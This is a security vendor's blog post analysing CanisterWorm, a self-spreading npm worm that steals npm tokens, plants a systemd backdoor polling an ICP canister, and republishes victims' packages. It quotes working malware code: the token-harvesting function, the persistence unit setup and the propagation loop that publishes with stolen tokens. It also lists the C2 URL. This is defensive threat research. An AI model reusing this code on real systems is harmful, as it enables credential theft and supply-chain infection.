News

CanisterWorm: The Self-Spreading npm Attack That Uses a Decentralized Server to Stay Alive

  • None--securityboulevard.com
  • published date: 2026-03-21 00:00:00 UTC

None

<p>On March 20, 2026 at 20:45 UTC, <a href="https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise" rel="noopener">Aikido</a> Security detected an unusual pattern across the npm registry: dozens of packages from multiple organizations were receiving unauthorized patch updates, all containing the same hidden malicious code. What they had caught was CanisterWorm, a self-spreading npm worm deployed by the threat actor group TeamPCP.</p><p>We track this incident as <strong>MSC-2026-3271.</strong></p><p>CanisterWorm is explicitly designed to target <strong>Linux systems</strong>. Once installed, it plants a persistent backdoor that survives reboots using systemd, the standard Linux service manager, and connects to a command-and-control server built on the Internet Computer Protocol (ICP), a decentralized blockchain network. Because ICP has no single host or provider, the C2 infrastructure cannot be taken down through a conventional takedown request, making CanisterWorm the first publicly documented npm worm to use this technique.</p><p><strong>Important:</strong> While the persistent backdoor is Linux-only, the credential theft (Stage 1) and worm propagation (Stage 4) components execute on any platform. npm tokens on macOS and Windows machines are equally at risk of theft and abuse.<br>The worm affected <a href="https://docs.google.com/spreadsheets/d/1LO8vC1cl_1Ho4gr3msqvYT9C1AeZ_GaCFj2U-nzCLE0/edit?gid=1764127214#gid=1764127214" rel="noopener">more than 50 packages</a> across multiple npm scopes, including <code>@EmilGroup , @opengov , @teale.io/eslint-config, @airtm/uuid-base32</code>, and <code>@pypestream/floating-ui-dom</code>. Any developer or CI/CD pipeline that installed one of these packages also had its own npm credentials stolen and potentially used to spread the worm further through their own packages.</p><p>This post covers a technical breakdown of the attack, including the malware behavior, attribution to the threat actor, and some IOC’s.</p><h2 class="wp-block-heading" id="background-how-teampcp-got-the-keys">Background: How TeamPCP Got the Keys</h2><p>CanisterWorm did not begin with npm. The credentials that seeded the initial infection wave were stolen hours earlier through a separate, <a href="https://thehackernews.com/2026/03/trivy-security-scanner-github-actions.html" rel="noopener">high-impact supply chain attack</a> on Trivy, Aqua Security’s widely-used open-source vulnerability scanner.</p><p>TeamPCP exploited a GitHub Actions misconfiguration involving a <code>pull_request_target</code> workflow that exposed a Personal Access Token (PAT). Using that stolen token, the attacker force-pushed malicious commits over 75 of 76 version tags on <code>aquasecurity/trivy-action</code> and 7 tags on <code>aquasecurity/setup-trivy,</code> effectively replacing the legitimate scanner with a credential harvester across thousands of CI/CD pipelines that ran that day.</p><p>The Trivy payload operated in three stages: enumerate secrets from the environment and filesystem, encrypt them, and silently exfiltrate them. What it collected included SSH keys, AWS and cloud provider credentials, database passwords, Kubernetes tokens, Docker configs, and npm authentication tokens. Those npm tokens became the launch pad for CanisterWorm less than 24 hours later.</p><p>This cascading structure, where one compromised tool becomes the credential source for a second, broader attack, is what makes TeamPCP’s campaign notable beyond the individual techniques involved.</p><h2 class="wp-block-heading" id="technical-analysis-of-the-canisterworm">Technical Analysis of the CanisterWorm </h2><h3 class="wp-block-heading" id="stage-1-the-postinstall-hook-that-runs-on-every-install">Stage 1: The Postinstall Hook That Runs on Every Install</h3><p>When you run <code>npm install</code>, npm automatically runs any script defined in a package’s <code>postinstall</code> field before the install completes. CanisterWorm abuses this standard feature to execute malicious code on the developer’s machine or CI/CD runner without any additional action required.</p><p>The <code>postinstall</code> entry in compromised <code>package.json</code> files pointed to <code>index.js</code>, which is the worm’s first-stage loader.</p><pre class="wp-block-code"><code>{   "scripts": {     "postinstall": "node index.js",     "deploy": "node scripts/deploy.js"   }</code></pre><p><sub>Figure 1: The <code>postinstall </code>trigger in compromised <code>package.json</code> files.</sub></p><p>The first thing <code>index.js</code> does is collect every npm authentication token it can find on the machine. It checks three places: <code>.npmrc</code> configuration files (in the home directory, current directory, and <code>/etc/npmrc</code>), environment variables matching patterns like <code>NPM_TOKEN</code> and <code>NPM_TOKENS,</code> and the live npm configuration via npm config get.</p><pre class="wp-block-code"><code>function findNpmTokens() { const tokens = new Set(); const homeDir = os.homedir(); const npmrcPaths = [ path.join(homeDir, '.npmrc'), path.join(process.cwd(), '.npmrc'), '/etc/npmrc', ]; for (const rcPath of npmrcPaths) { try { const content = fs.readFileSync(rcPath, 'utf8'); for (const line of content.split('\n')) { const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/); if (m &amp;&amp; m[1] &amp;&amp; !m[1].startsWith('${')) tokens.add(m[1].trim()); } } catch (_) {} } } </code></pre><p><sub>Figure 2: npm token harvesting searches <code>.npmrc</code> files, environment variables, and live npm config<br></sub></p><h3 class="wp-block-heading" id="stage-2-the-persistent-python-backdoor-that-survives-reboots">Stage 2: The Persistent Python Backdoor That Survives Reboots</h3><p>Once <code>index.js</code> has collected tokens, it installs a persistent backdoor on the host. </p><p>The loader decodes a base64-encoded Python script embedded in the package and writes it to <code>~/.local/share/pgmon/service.py.</code> It then creates a systemd user service (a standard Linux mechanism for running background processes) at <code>~/.config/systemd/user/pgmon.service</code> and immediately enables and starts it. This requires no administrator (root) access, which makes it harder to detect.</p><p>The name <code>pgmon</code> is intentional: it is designed to look like a PostgreSQL monitoring tool to anyone inspecting running services.</p><pre class="wp-block-code"><code>fs.writeFileSync(unitFilePath, [ '[Unit]', `Description=${SERVICE_NAME}`, 'After=default.target', '', '[Service]', 'Type=simple', `ExecStart=/usr/bin/python3 ${scriptPath}`, 'Restart=always', 'RestartSec=5', '', '[Install]', 'WantedBy=default.target', ].join('\n'), { mode: 0o644 }); execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' }); execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' }); </code></pre><p><sub>Figure 3: Systemd user service created by the loader for persistent backdoor execution</sub></p><p>The Python backdoor itself implements several techniques to avoid detection:</p><ul class="wp-block-list"> <li><strong>Sandbox evasion:</strong> It waits 5 minutes before doing anything on first run. Many automated malware analysis sandboxes time out before this delay expires.</li> <li><strong>Low-frequency polling:</strong> It only checks for new instructions every ~50 minutes (3,000 seconds), making it harder to spot in network traffic.</li> <li><strong>Browser impersonation:</strong> It spoofs a browser User-Agent header when making network requests.</li> <li><strong>State tracking:</strong> It stores the last-fetched payload URL in /tmp/.pg_state to avoid re-executing the same payload on repeated polls.</li> </ul><h3 class="wp-block-heading" id="stage-3-the-icp-canister-c2">Stage 3: The ICP Canister C2 </h3><p>This is where CanisterWorm breaks new ground. Rather than communicating with a conventional web server (which can be seized, blocked, or taken offline), the Python backdoor polls an ICP canister for its instructions.</p><p>ICP (Internet Computer Protocol) is a decentralized blockchain network. A “canister” is a piece of code deployed on that network that runs autonomously. There is no single company or host that controls it, and it cannot be taken down through a conventional hosting provider takedown request. This makes it significantly more resilient than traditional C2 infrastructure.</p><p>The canister exposes three methods: <code>get_latest_link</code> (retrieve the current payload URL), http_request (serve that URL to the backdoor), and <code>update_link</code> (let the attacker rotate to a new payload without touching the infected packages). This means TeamPCP can change what executes on infected machines at any time, without republishing any npm package.</p><ul class="wp-block-list"> <li><strong>Canister ID:</strong> tdtqy-oyaaa-aaaae-af2dq-cai</li> <li><strong>C2 URL:</strong> https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/</li> </ul><p>The backdoor downloads the URL returned by the canister, saves the binary to <code>/tmp/pglog</code>, and executes it. The attacker built in a kill-switch: if the returned URL contains <code>youtube.com</code>, the backdoor skips execution. At the time of discovery, the canister was returning a YouTube link, meaning the final payload stage was dormant but fully operational infrastructure was in place across infected machines.</p><h3 class="wp-block-heading" id="stage-4-the-self-propagating-worm-component">Stage 4: The Self-Propagating Worm Component</h3><p>The <code>scripts/deploy.js</code> component is what transforms this from a credential-stealing backdoor into a worm. A worm spreads itself automatically. A developer who installs an infected package and has npm credentials on their machine becomes an unwitting spreader, infecting their own packages without any knowledge or action on their part.</p><p>deploy.js is launched as a completely detached background process after token harvesting. It then works through each stolen token:</p><ol class="wp-block-list"> <li>Authenticates with the npm registry to resolve the token’s associated username</li> <li>Queries the npm search API to enumerate every package that user has publish access to</li> <li>For each package, fetches the real README and latest published version from the registry</li> <li>Bumps the patch version number (e.g., 1.8.11 becomes 1.8.12)</li> <li>Temporarily overwrites the local package.json with the target package’s name and bumped version</li> <li>Publishes the entire worm package under the victim’s package name with –tag latest</li> <li>Restores the original package.json and README locally, leaving no obvious traces</li> </ol><pre class="wp-block-code"><code>async function deployWithToken(token, pkg, pkgPath, newVersion) { const whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); const username = whoami.username; const ownedPackages = await getOwnedPackages(username, token); for (const packageName of ownedPackages) { const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token); const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion; const tempPkg = { ...pkg, name: packageName, version: publishVersion }; fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8'); run('npm publish --access public --tag latest', { env: { ...process.env, NPM_TOKEN: token }, }); fs.writeFileSync(pkgPath, originalPkgJson, 'utf8'); // restore } } </code></pre><p><sub>Figure 4: Worm propagation publishes the malicious package under each victim’s owned package names</sub></p><p>Publishing with <code>--tag latest</code> means that any project running <code>npm install</code> <code>package-name</code> without pinning an exact version will automatically receive the infected version. The version bump makes the infected release appear to be a normal maintenance update.</p><h2 class="wp-block-heading" id="impact-analysis">Impact Analysis</h2><p>The worm’s design creates an exponential infection surface. Every developer machine or CI/CD pipeline that installs an infected package and has a stored npm token becomes a new propagation vector. Their packages get infected, their downstream users install those packages, and if any of those users have tokens, the cycle continues.</p><p>Because npm tokens are routinely stored in CI/CD environments, <code>.npmrc files</code>, and environment variables as standard developer workflow, the attack has a very high credential harvest rate in any professional software development environment.</p><p>The ICP-based C2 means that even after infected packages are removed from the registry, any machines that ran the <code>postinstall</code> hook retain a persistent, polling backdoor that will execute whatever payload the attacker rotates into the canister. Package removal from npm does not remediate infected hosts.</p><h2 class="wp-block-heading" id="indicators-of-compromise">Indicators of Compromise</h2><h3 class="wp-block-heading" id="filesystem-artifacts">Filesystem Artifacts</h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Path</strong></th> <th><strong>Description</strong></th> </tr> </thead> <tbody> <tr> <td>~/.local/share/pgmon/service.py</td> <td>Persistent Python backdoor</td> </tr> <tr> <td>~/.config/systemd/user/pgmon.service</td> <td>Systemd user service</td> </tr> <tr> <td>/tmp/pglog</td> <td>Downloaded payload binary</td> </tr> <tr> <td>/tmp/.pg_state</td> <td>Payload URL state tracking file</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="network-indicators">Network Indicators</h3><ul class="wp-block-list"> <li>hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/ (ICP C2 canister)</li> <li>hxxps://registry[.]npmjs[.]org/-/whoami (token validation)</li> <li>hxxps://registry[.]npmjs[.]org/-/v1/search?text=maintainer: (package enumeration)</li> </ul><h3 class="wp-block-heading" id="file-hashes-sha-256">File Hashes (SHA-256)</h3><p><a href="http://index.js/" rel="noopener"><strong>index.js</strong></a><strong>:</strong></p><p>E9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b</p><p>61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba</p><p>0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a</p><p>c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926</p><p><a href="http://deploy.js/" rel="noopener"><strong>deploy.js</strong></a><strong>:</strong></p><p>F398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152</p><p>7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7</p><p>5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956</p><h2 class="wp-block-heading" id="detection-and-remediation">Detection and Remediation</h2><h3 class="wp-block-heading" id="immediate-check-for-active-infection">Immediate: Check for Active Infection</h3><p>Check whether the systemd backdoor service is installed and running:</p><pre class="wp-block-code"><code>systemctl --user status pgmon.service ls -la ~/.local/share/pgmon/ ls -la ~/.config/systemd/user/pgmon.service ls -la /tmp/pglog /tmp/.pg_state </code></pre><p><sub>Figure 5: Commands to detect the pgmon backdoor service and associated file</sub></p><p>If any of these exist, the host ran a compromised package’s postinstall hook. Treat all credentials on that machine as compromised.</p><h3 class="wp-block-heading" id="remediation-remove-the-backdoor">Remediation: Remove the Backdoor</h3><pre class="wp-block-code"><code>systemctl --user stop pgmon.service systemctl --user disable pgmon.service rm -f ~/.config/systemd/user/pgmon.service rm -rf ~/.local/share/pgmon/ rm -f /tmp/pglog /tmp/.pg_state systemctl --user daemon-reload </code></pre><p><sub>Figure 6: Service removal and filesystem cleanup for infected hosts</sub></p><h3 class="wp-block-heading" id="critical-rotate-all-npm-credentials">Critical: Rotate All npm Credentials</h3><p>Any npm token present on the machine (in <code>.npmrc</code>, environment variables, or cached npm config) must be treated as stolen and revoked immediately. Log in to npmjs.com and revoke all existing tokens, then issue new ones. If the machine runs CI/CD workloads, rotate credentials in every pipeline that runs on that runner.</p><p>Audit any npm packages published from that machine or token in the 48 hours surrounding the infection window for unauthorized version bumps.</p><h2 class="wp-block-heading" id="attribution">Attribution</h2><p>TeamPCP is assessed to be a cloud-focused cybercriminal operation with demonstrated capability across GitHub Actions exploitation, npm registry abuse, and credential harvesting at scale. The Trivy attack and CanisterWorm campaign were executed within a 24-hour window, and the npm tokens harvested from the Trivy compromise directly seeded the initial wave of infections.</p><p>The code in CanisterWorm is assessed by researchers to have been developed rapidly with AI assistance. It is not obfuscated, and the logic is written explicitly and readably. The attacker prioritized speed of development and spread over stealth. </p><p>The group’s choice of ICP for C2 reflects deliberate infrastructure planning: the decentralized architecture was chosen specifically for its resistance to conventional takedown. This level of operational consideration, combined with the cascading multi-platform attack design, places TeamPCP above opportunistic script-kiddie activity.</p><h2 class="wp-block-heading" id="conclusion">Conclusion</h2><p>CanisterWorm represents a meaningful escalation in npm supply chain attacks. Self-spreading worms that propagate through developer credentials have been theorized for years; CanisterWorm puts the concept into practice with working code that was actively spreading in the wild. The use of a decentralized ICP canister for C2 eliminates the single takedown point that typically limits a campaign’s longevity.</p><p>The Trivy-to-npm pipeline also illustrates how a single compromised CI/CD tool can become a credential feeder for a much broader attack. Organizations that use Trivy for vulnerability scanning in their pipelines should treat any tokens present in those environments between March 19 and March 21, 2026, as potentially compromised.</p><p>Mend.io will continue monitoring for CanisterWorm activity and further TeamPCP campaigns. </p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/" data-a2a-title="CanisterWorm: The Self-Spreading npm Attack That Uses a Decentralized Server to Stay Alive"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fcanisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive%2F&amp;linkname=CanisterWorm%3A%20The%20Self-Spreading%20npm%20Attack%20That%20Uses%20a%20Decentralized%20Server%20to%20Stay%20Alive" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fcanisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive%2F&amp;linkname=CanisterWorm%3A%20The%20Self-Spreading%20npm%20Attack%20That%20Uses%20a%20Decentralized%20Server%20to%20Stay%20Alive" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fcanisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive%2F&amp;linkname=CanisterWorm%3A%20The%20Self-Spreading%20npm%20Attack%20That%20Uses%20a%20Decentralized%20Server%20to%20Stay%20Alive" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fcanisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive%2F&amp;linkname=CanisterWorm%3A%20The%20Self-Spreading%20npm%20Attack%20That%20Uses%20a%20Decentralized%20Server%20to%20Stay%20Alive" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fcanisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive%2F&amp;linkname=CanisterWorm%3A%20The%20Self-Spreading%20npm%20Attack%20That%20Uses%20a%20Decentralized%20Server%20to%20Stay%20Alive" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.mend.io">Mend</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Tom Abai">Tom Abai</a>. Read the original post at: <a href="https://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/">https://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/</a> </p>